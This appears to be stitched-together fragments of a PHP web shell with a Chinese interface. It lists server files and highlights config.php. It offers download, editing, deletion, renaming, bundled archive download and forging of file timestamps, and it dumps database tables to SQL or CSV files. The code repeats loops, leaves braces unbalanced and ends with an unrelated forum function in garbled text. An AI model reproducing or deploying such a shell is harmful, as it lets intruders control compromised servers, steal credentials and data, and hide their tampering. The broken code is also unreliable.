while ($file = @readdir($dirs)) { $filepath = "{$dir}/{$file}"; $a = @is_dir($filepath); if ($a == "0") { $size = @filesize($filepath); $size = $size / 1024; $size = @number_format($size, 3); if (@filectime($filepath) == @filemtime($filepath)) { $ctime = @date("Y-m-d H:i:s", @filectime($filepath)); $mtime = @date("Y-m-d H:i:s", @filemtime($filepath)); } else { $ctime = "<span class=\"redfont\">" . @date("Y-m-d H:i:s", @filectime($filepath)) . "</span>"; $mtime = "<span class=\"redfont\">" . @date("Y-m-d H:i:s", @filemtime($filepath)) . "</span>"; } @($fileperm = substr(base_convert(@fileperms($filepath), 10, 8), -4)); echo "<tr class=" . getrowbg() . ">\n"; echo " <td style=\"padding-left: 5px;\">"; echo "<INPUT type=checkbox value=1 name=dl[{$filepath}]>"; echo "<a href=\"{$filepath}\" target=\"_blank\">{$file}</a></td>\n"; if ($file == 'config.php') { echo "<a href=\"{$filepath}\" target=\"_blank\"><font color='yellow'>{$file}<STRONG></STRONG></a></td>\n"; } echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">{$ctime}</span></td>\n"; echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">{$mtime}</span></td>\n"; echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">{$size}</span> KB</td>\n"; echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">{$fileperm}</span></td>\n"; echo "</tr>\n"; $file_i++; } } // while
echo "<tr class=" . getrowbg() . ">\n"; echo " <td style=\"padding-left: 5px;\">"; echo "<INPUT type=checkbox value=1 name=dl[{$filepath}]>"; echo "<a href=\"{$filepath}\" target=\"_blank\">{$file}</a></td>\n"; echo " <td align=\"center\" nowrap class=\"smlfont\">{$ctime}</td>\n"; echo " <td align=\"center\" nowrap class=\"smlfont\">{$mtime}</td>\n"; echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">{$size}</span> KB</td>\n"; echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=" . urlencode($dir) . "&file=" . urlencode($file) . "\">{$fileperm}</a></td>\n"; echo " <td align=\"center\" nowrap><a href=\"?downfile=" . urlencode($filepath) . "\">下载</a> | <a href=\"?action=editfile&dir=" . urlencode($dir) . "&editfile=" . urlencode($file) . "\">编辑</a> | <a href=\"#\" onclick=\"really('" . urlencode($dir) . "','" . urlencode($filepath) . "','你确定要删除 {$file} 文件吗?','2')\">删除</a> | <a href=\"?action=rename&dir=" . urlencode($dir) . "&fname=" . urlencode($filepath) . "\">改名</a> | <a href=\"?action=newtime&dir=" . urlencode($dir) . "&file=" . urlencode($filepath) . "\">时间</a></td>\n"; echo "</tr>\n"; $file_i++; } } // while @closedir($dirs); $tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>' . $tb->makeinput('chkall', 'on', 'onclick="CheckAll(this.form)"', 'checkbox', '30', '') . ' ' . $tb->makeinput('downrar', '选中文件打包下载', '', 'submit') . '</td><td align="right">' . $dir_i . ' 个目录 / ' . $file_i . ' 个文件</td></tr></table>', 'center', getrowbg(), '', '', '6'); echo "</FORM>\n"; echo "</table>\n"; } elseif ($_GET['action'] == "editfile") { if (empty($newfile)) { $filename = "{$dir}/{$editfile}"; $fp = @fopen($filename, "r"); $contents = @fread($fp, filesize($filename)); @fclose($fp); $contents = htmlspecialchars($contents); } else { $editfile = $newfile; $filename = "{$dir}/{$editfile}"; } $action = "?dir=" . urlencode($dir) . "&editfile=" . $editfile; $tb->tableheader();
doformheader("backup", "sqltable"); maketableheader("备份包括的数据表"); $result = $DB_site->query("SHOW tables"); while ($currow = $DB_site->fetch_array($result)) { makeyesnocode($currow[0], "table[{$currow['0']}]", 1); } doformfooter("备份"); doformheader("backup", "sqlfile"); maketableheader("保存文件到服务器:"); makeinputcode("在服务器上的路径和文件名", "filename", "bak/dbbackup-" . date("m-d-Y", time()) . ".sql", 0, 60); echo "<tr class='firstalt'><td colspan='2'><p><b>在这个目录必须有PHP写入权限</b> (一般设置 chmod 0777)</p></td></tr>\n"; echo "<tr class='firstalt'><td colspan='2'><p><b>警告:</b> 不要把你的备份置于一个Internet可访问的目录. 如果可能最好把它放到WEB根目录以外!</p></td></tr>\n"; doformfooter("保存文件"); doformheader("backup", "csvtable"); maketableheader("CSV 方式导出:"); echo "<tr class='" . getrowbg() . "'>\n<td><p>选择数据表:</p></td>\n<td><p>"; echo "<select name=\"table\" size=\"1\">\n"; $result = $DB_site->query("SHOW tables"); while ($currow = $DB_site->fetch_array($result)) { echo "<option value=\"{$currow['0']}\">{$currow['0']}</option>\n"; } echo "</select></p></td></tr>\n\n"; makeinputcode("分隔", "separator", ","); makeinputcode("注释", "quotes", "'"); makeyesnocode("显示 column 名字", "showhead", 1); doformfooter("确定"); } if ($HTTP_POST_VARS['action'] == "sqlfile") { include "conf/admin.php"; $filehandle = fopen($filename, "w"); $result = $DB_site->query("SHOW tables");
@($fileperm = substr(base_convert(@fileperms($filepath), 10, 8), -4)); echo "<tr class=" . getrowbg() . ">\n"; echo " <td style=\"padding-left: 5px;\"><INPUT type=checkbox value=1 name=dl[{$filepath}]><a href=\"{$filepath}\" target=\"_blank\">{$file}</a></td>\n"; echo " <td align=\"center\" nowrap valign=\"top\" class=\"smlfont\">{$ctime}</td>\n"; echo " <td align=\"center\" nowrap valign=\"top\" class=\"smlfont\">{$mtime}</td>\n"; echo " <td align=\"right\" nowrap valign=\"top\" class=\"smlfont\"><span class=\"redfont\">{$size}</span> KB</td>\n"; echo " <td align=\"center\" nowrap valign=\"top\" class=\"smlfont\"><a href=\"?action=fileperm&dir=" . urlencode($dir) . "&file=" . urlencode($file) . "\">{$fileperm}</a></td>\n"; echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?downfile=" . urlencode($filepath) . "\">下载</a> | <a href=\"?action=editfile&dir=" . urlencode($dir) . "&editfile=" . urlencode($file) . "\">编辑</a> | <a href=\"?dir=" . urlencode($dir) . "&delfile=" . urlencode($filepath) . "\">删除</a></td>\n"; echo "</tr>\n"; $file_i++; } } @closedir($dirs); ?> <tr class="<?php echo getrowbg(); ?> "> <td nowrap colspan="6"><table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"> <tr> <td><INPUT onclick="CheckAll(this.form)" type="checkbox" value="on" name="chkall"> <input name="rarfile" type="text" class="INPUT" value="<?php echo $_SERVER['HTTP_HOST']; ?> _Files.rar"> <input type="submit" name="downrar" value="选中文件打包下载" class="INPUT"></td> <td align="right"><?php echo $dir_i; ?> 个目录 / <?php echo $file_i; ?> 个文件</td>
function makeforumchooser($name = "forumid", $selectedid = -1, $forumid = -1, $depth = "", $topname = "ÎÞ", $title = "Éϼ¶ÂÛ̳", $displaytop = 1, $displayid = 0) { // $selectedid: selected forum id; $forumid: forumid to begin with; // $depth: character to prepend deep forums; $topname: name of top level forum (ie, "My BB", "Top Level", "No one"); // $title: label for the drop down (listed to the left of it); $displaytop: display top level forum (0=no; 1=yes) global $DB_site; if ($forumid == -1) { echo "<tr class='" . getrowbg() . "' valign='top'>\n<td><p>{$title}</p></td>\n<td><p><select name=\"{$name}\" size=\"1\">\n"; if ($displaytop == 1) { echo "<option value=\"-1\" " . iif($selectedid == $forumid, "SELECTED", "") . ">{$depth}{$topname}</option>\n"; } } else { $foruminfo = $DB_site->query_first("SELECT forumid,title,allowposting\n \t\t\t\t\t\t\t\t\tFROM forum\n \t\t\t\t\t\t\t\t\tWHERE forumid={$forumid}"); echo "<option value=\"{$foruminfo['forumid']}\" " . iif($selectedid == $forumid, "SELECTED", "") . ">{$depth}{$foruminfo['title']}" . iif($foruminfo['allowposting'], "", " (no posting)") . iif($displayid, " {$foruminfo['forumid']}", "--") . "</option>\n"; } $depth .= "--"; $forums = $DB_site->query("SELECT forumid FROM forum WHERE parentid={$forumid} ORDER BY displayorder"); while ($forum = $DB_site->fetch_array($forums)) { makeforumchooser("forumid", $selectedid, $forum[forumid], $depth, "", "", 1, $displayid); } if ($forumid == -1) { echo "</select>\n</p></td>\n</tr>\n"; } }